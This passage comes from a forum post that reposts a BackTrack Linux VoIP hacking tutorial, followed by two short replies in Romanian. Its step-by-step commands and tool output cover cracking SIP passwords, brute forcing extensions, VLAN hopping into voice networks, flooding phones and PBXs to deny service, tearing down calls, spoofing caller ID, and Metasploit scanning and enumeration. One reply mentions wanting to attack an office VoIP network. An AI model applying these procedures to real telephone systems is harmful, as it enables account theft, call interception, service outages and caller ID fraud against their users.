'3a33e768ed6f630347f4b511371926bd')* Loaded wordlist: 'sipass.txt'* Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd')* Tried 123457 passwords in 0 seconds* Found password: '123456'* Updating dump file 'auth.txt'... doneBrute Force attack using John The RipperFor this attack mode we will be using John the ripper to redirect johns output into the FIFO file which we’ll feed into SIPCrack. Creating a FIFO file:root@bt:/tmp# mkfifo sipcrackGenerating passwords using john and redirecting the output to our FIFO file, for this example we will generate up to 6 digits only.root@bt:~# john[*] This script will take you to /pentest/passwords/jtr/[*] From there, run ./john root@bt:/pentest/passwords/jtr# ./john --incremental=digits –stdout=6 > /tmp/sipcrackUsing our FIFO file to crack the password:root@bt:/pentest/voip/sipcrack# ./sipcrack -w /tmp/sipcrack auth.txtSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------* Found Accounts:Num Server Client User Hash|Password1 192.168.1.111 192.168.1.104 200 8edc2d549294f6535070439fb069c968* Select which entry to crack (1 - 1): 1* Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f* Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968')* Loaded wordlist: '/tmp/sipcrack'* Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968')* Tried 3 passwords in 0 seconds* Found password: '123456'* Updating dump file 'auth.txt'... doneBrute forcing SIP AccountsWe can use svcrack which is a part of the sipvicious tools suite to brute force sip accounts A single SIP account dictionary attack (You can add a -v or -vv for verbosity):root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -d wordlist.txt 192.168.1.104| Extension | Password |------------------------| 200 | 123456 |A single SIP account brute forcing:root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -r100000-999999 192.168.1.104| Extension | Password |------------------------| 200 | 123456 |Use ./svcrack –h for all available arguments.VLAN HoppingUsually VoIP traffic is connected to a dedicated VLAN (Virtual LAN) as we saw in the topologies section. This means that we cannot intercept the VoIP traffic by sniffing and Arp poisoning. The reason for that is that a VLAN is like a separate network, it has its own broadcast domain and different IP range than the data network. VLAN hopping is a way to “hop” to another VLAN, lucky for us Backtrack includes the necessary tools to perform this attack. One common topology is where the IP Phone has a built-in “Internal Switch”, usually the pc is plugged into the phone pc socket and the phone is connected from its lan/sw socket to the network switch as follows:A typical CISCO switch port configuration for VoIP will look something like:Switch# conf tEnter configuration commands, one per line. End with CNTL/Z.Switch(config)#interface fastEthernet 0/1Switch(config-if)#switchport mode accessSwitch(config-if)#switchport access vlan 10Switch(config-if)#switchport voice vlan 20The IP phone will be configured with the appropriate VLAN ID (20) and the PC data traffic will flow through VLAN 10. Before we begin hopping around we will have to enable support for the 802.1q protocol in Backtrack by typing:root@bt:~# modprobe 8021qVoIP HopperVoIP hopper is used to hop into voice Vlan by behaving like an IP phone; it supports specific switches and supports some IP phones models. It currently supports the brands like: Cisco, Avaya and Nortel. VoIP hopper was designed to run under Backtrack Linux and currently has the following features: DHCP Client, CDP Generator, MAC Address Spoofing and VLAN hopping. Voiphopper usage:root@bt:/pentest/voip/voiphopper# ./voiphoppervoiphopper -i <interface> -c {0|1|2} -a -n -v <VLANID>Please specify 1 base option mode:CDP Sniff Mode (-c 0)Example: voiphopper -i eth0 -c 0CDP Spoof Mode with custom packet (-c 1):-D (Device ID)-P (Port ID)-C (Capabilities)-L (Platform)-S (Software)-U (Duplex)Example: voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1CDP Spoof Mode with pre-made packet (-c 2)Example: voiphopper -i eth0 -c 2Avaya DHCP Option Mode (-a):Example: voiphopper -i eth0 -aVLAN Hop Mode (-v VLAN ID):Example: voiphopper -i eth0 -v 200Nortel DHCP Option Mode (-n):Example: voiphopper -i eth0 -n VoIP Hopper provides many modes for attack please use the –h for detailed information. Let’s take a look at an example of sniffing for CDP and run a VLAN Hop into the Voice VLAN in a Cisco environment. Run VoIP Hopper on the Ethernet interface, in the following way:root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -c 0VoIP Hopper also allows one to VLAN Hop to an arbitrary VLAN, without sniffing for CDP. If you already know the Voice VLAN ID or would like to VLAN Hop into another VLAN just specify the vlan id.root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -v 20VoIP Hopper 1.00 Running in VLAN Hop mode ~ Trying to hop into VLAN 2Added VLAN 20 to Interface eth0Attempting dhcp request for new interface eth0.20eth0.20 Link encap:Ethernet HWaddr 00:0c:29:84:98:b2 inet6 addr: fe80::20c:29ff:fe84:98b2/64 Scope:Link UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 TX bytes:2274 (2.2 KB)ACEACE is another tool for vlan hopping very similar to Voiphopper in usage and include an option to discover also TFTP servers (configuration servers). ACE Usage:root@bt:/pentest/voip/ace# ./aceACE v1.0: Automated Corporate (Data) EnumeratorUsage: ace [-i interface] [ -m mac address ] [ -t tftp server ip address | -c cdp mode | -v voice vlan id | -r vlan interface | -d verbose mode ]-i <interface> (Mandatory) Interface for sniffing/sending packets-m <mac address> (Mandatory) MAC address of the victim IP phone-t <tftp server ip> (Optional) tftp server ip address-c <cdp mode 0|1 > (Optional) 0 CDP sniff mode, 1 CDP spoof mode-v <voice vlan id> (Optional) Enter the voice vlan ID-r <vlan interface> (Optional) Removes the VLAN interface-d (Optional) Verbose | debug modeYou can manually add a vlan hop or use its discovery featureMode to specify the Voice VLAN IDExample: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8EMode to auto-discover voice vlan ID in the listening mode for CDPExample: ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8EMode to auto-discover voice vlan ID in the spoofing mode for CDPExample: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8ETIP: To view your MAC address in backtrack use:root@bt:~# macchanger -s eth0It doesn’t matter if you used voiphopper or ace you can now intercept VoIP traffic with tools like “ucsniff” by specifying you newly created interface.For example:root@bt:/pentest/voip/ucsniff# ucsniff -i eth0.20 // //Denial Of ServiceA denial of service attack on VoIP services can render it useless by causing an intentionally damage to the network and VoIP systems availability. This attack can occur on two levels, standard network dos attacks and VoIP specific dos attacks. Generally we will send tons of data by flooding the network to consume all its resources or a specific protocol in order to overwhelm it with tons of requests. Let’s take a quick overview of the tools available in BacktrackInvitefloodThis tool can be used to flood a target with INVITE requests it can be used to target sip gateways/proxies and sip phones.root@bt:/pentest/voip/inviteflood# ./invitefloodinviteflood - Version 2.0 June 09, 2006 Usage: Mandatory - interface (e.g. eth0) target user (e.g. "" or john.doe or 5000 or "1+210-555-1212") target domain (e.g. enterprise.com or an IPv4 address) IPv4 addr of flood target (ddd.ddd.ddd.ddd) flood stage (i.e. number of packets) Optional - -a flood tool "From:" alias (e.g. jane.doe) -i IPv4 source IP address [default is IP address of interface] -S srcPort (0 - 65535) [default is well-known discard port 9] -D destPort (0 - 65535) [default is well-known SIP port 5060] -l lineString line used by SNOM [default is blank] -s sleep time btwn INVITE msgs (usec) -h help - print this usage -v verbose output modeA basic usage syntax looks like this:./inviteflood eth0 target_extension target_domain target_ip number_of_packetsAs long the tool keeps flooding the sip gateway it will prevent users from making phone calls. You can flood the sip proxy with an inexistent extension thus making it generating a 404 not found just to keep it busy.RtpfloodRtp flood is used to flood a target IP phone with a UDP packet contains a RTP data In order to launch a successful attack using rtpflood you will need know the RTP listening port on the remote device you want to attack, for example; x-lite sofphone default rtp port is 8000.root@bt:/pentest/voip/rtpflood# ./rtpfloodusage: ./rtpflood sourcename destinationname srcport destport numpackets seqno timestamp SSIDIaxfloodIAXFlood is a tool for flooding the IAX2 protocol which is used by the Asterisk PBX.root@bt:/pentest/voip/iaxflood# ./iaxfloodusage: ./iaxflood sourcename destinationname numpacketsTeardownTeardown is used to terminate a call by sending a bye request./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTagFirst you will need to capture a valid sip OK response and use its from and to tags and a valid caller id value.SIP/2.0 200 OKVia: SIP/2.0/UDP 192.168.1.105;branch=z9hG4bKkfnyfaol;received=192.168.1.105;rport=5060From: "200" 200@192.168.1.104If you specify the “-v” option you can see the payload:SIP PAYLOAD for packet:BYE sip:200@192.168.1.104:5060 SIP/2.0Via: SIP/2.0/UDP 192.168.1.105:9;branch=91ca1ba5-98ee-44d5-9170-61c30981c565From: <sip:192.168.1.104>;tag=hcykdTo: 200 <sip:200@192.168.1.104>;tag=as644fe807Call-ID: jwtgckolqnoylqf@backtrackCSeq: 2000000000 BYEMax-Forwards: 16User-Agent: HackerContent-Length: 0Contact: <sip:192.168.1.105:9>Spoofing Caller IDThere are several methods for spoofing Caller ID which we won’t discuss here because it requires a different set of tools and equipment which are irrelevant to this article purpose. Spoofing Caller ID in SIP is fairly easy, you just need to change the SIP request “INVITE” from header.INVITE sip:@127.0.0.1 SIP/2.0To: <sip:192.168.1.104>Via: SIP/2.0/UDP 192.168.1.104From: "Evil Hacker"Call-ID: 14810.0.1.45CSeq: 1 INVITEMax-Forwards: 20 Contact: <sip:127.0.0.1>We will take a look at a tool we have already discussed called Inviteflood which can be used to send spoofed invite requests.root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 201 192.168.1.104 192.168.1.104 1 -a "Backtrack"Attacking VoIP Using MetasploitThe Metasploit framework includes several auxiliaries and modules dedicated for VoIP exploitation. You can find them by using the search function with keywords such as “sip” or “voip”. Let’s Launch “msfconsole” and perform a search for available modules:root@bt:~# msfconsolemsf > search sipMetasploit VoIP ModulesHere’s a complete list of the available modules for you reference:Auxiliariesscanner/sip/enumerator - SIP Username Enumerator (UDP) scanner/sip/enumerator_tcp - SIP Username Enumerator (TCP) scanner/sip/options - SIP Endpoint Scanner (UDP) scanner/sip/options_tcp - SIP Endpoint Scanner (TCP) voip/sip_invite_spoof - SIP Invite SpoofExploitswindows/sip/aim_triton_cseq - AIM Triton 1.0.4 CSeq Buffer Overflow windows/sip/sipxezphone_cseq - SIPfoundry sipXezPhone 0.35a CSeq Field Overflow windows/sip/sipxphone_cseq - SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow unix/webapp/trixbox_langchoice - Trixbox langChoice PHP Local File InclusionScanning SIP Enabled DevicesMetasploit provides a sip scanner auxiliary which comes in two flavors TCP and UDP, we can use it to discover SIP enabled devices using the OPTION method: Let’s see an example of the UDP version: scanner/sip/options auxiliary Auxiliary Options and Usage:msf > use auxiliary/scanner/sip/optionsmsf auxiliary(options) > show optionsModule options (auxiliary/scanner/sip/options): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads TO nobody no The destination username to probe at each hostmsf auxiliary(options) > set RHOSTS 192.168.1.130/24RHOSTS => 192.168.1.130/24msf auxiliary(options) > run[*] 192.168.1.20 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.21 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.22 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.92 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.140 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.130 200 server='Asterisk PBX 1.6.2.13' verbs='INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO'[*] Scanned 256 of 256 hosts (100% complete)[*] Auxiliary module execution completedEnumerating SIP extensions / UsernamesThe scanner/sip/enumerator auxiliary can be used to discover valid SIP accounts, it supports two methods of discovery: OPTIONS and REGISTER, it also comes in two flavors TCP and UDP. Auxiliary options:msf > use scanner/sip/enumeratormsf auxiliary(enumerator) > show optionsModule options (auxiliary/scanner/sip/enumerator): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port MAXEXT 9999 yes Ending extension METHOD REGISTER yes Enumeration method to use OPTIONS/REGISTER MINEXT 0 yes Starting extension PADLEN 4 yes Cero padding maximum length RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threadsExample Usage:msf auxiliary(enumerator) > set RHOSTS 192.168.1.104RHOSTS => 192.168.1.104msf auxiliary(enumerator) > set MINEXT 100MINEXT => 100msf auxiliary(enumerator) > set MAXEXT 500MAXEXT => 500msf auxiliary(enumerator) > set PADLEN 3PADLEN => 3msf auxiliary(enumerator) > run[*] Found user: 200 <sip:200@192.168.1.104> [Auth][*] Found user: 201 <sip:201@192.168.1.104> [Auth][*] Found user: 202 <sip:202@192.168.1.104> [Auth][*] Found user: 203 <sip:203@192.168.1.104> [Auth][*] Found user: 204 <sip:204@192.168.1.104> [Auth][*] Found user: 300 <sip:300@192.168.1.104> [Auth][*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedSpoofing Caller ID auxiliaryThe voip/sip_invite_spoof auxiliary will create a fake SIP invite request making the targeted device ring and display fake caller id information. Auxiliary Options:msf > use voip/sip_invite_spoofmsf auxiliary(sip_invite_spoof) > show optionsModule options (auxiliary/voip/sip_invite_spoof): Name Current Setting Required Description ---- --------------- -------- ----------- MSG The Metasploit has you yes The spoofed caller id to send RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port SRCADDR 192.168.1.1 yes The sip address the spoofed call is coming from THREADS 1 yes The number of concurrent threadsExample Usage:msf auxiliary(sip_invite_spoof) > set RHOSTS 192.168.1.104RHOSTS => 192.168.1.104msf auxiliary(sip_invite_spoof) > run[*] Sending Fake SIP Invite to: 192.168.1.104[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedExploiting VoIP systemsMetasploit includes several exploits for sip client software and even for the Trixbox PBX web management interface.Although this is not a SIP specific vulnerability it is still related and can enable a full control by an attacker on a PBX.Closing WordsI hope you’ve found this document informative, please keep in mind that Backtrack Linux provides many tools and features we haven’t covered here. Take the time to browse the tools read the manuals and README’s I am sure you’ll find the right tool for the job.Feel free to discuss the tools and methods mentioned here in the Backtrack Linux Forums we would love to here your feedback ideas and experiences.http://www.backtrack-linux.org/forums/About The AuthorShai rod (aka @NightRang3r) is a full time Pen Tester at Avnet Information Security & Risk Management in Israel; He holds the Offensive security OSCP and OSCE certifications (among others) and manages his blog at http://exploit.co.ilReferencesSession Initiation Protocol - Wikipedia, the free encyclopediaRFC 3261 - SIP: Session Initiation ProtocolHacking Exposed VoIP: Voice over IP Security Secrets and Solutions by David Endler and Mark CollierSURSAPdf Download Link Edited December 6, 2011 by co4ie Download Link Added 3 1 Quote
co4ie Posted December 5, 2011 Author Report Posted December 5, 2011 Eu am o retea mare VoIP la birou ... dar nu ma lasa nenorocitii sa ma atincg de ea BTW...puteam sa pun doar link-ul .. But where`s the fun in that Quote
Zatarra Posted December 6, 2011 Report Posted December 6, 2011 Marfa, o groaza de chestii interesante, mai ales pasii ma interesau.Ms fain, + rep, pacat ca nu pot.. ti-am mai dat.. Quote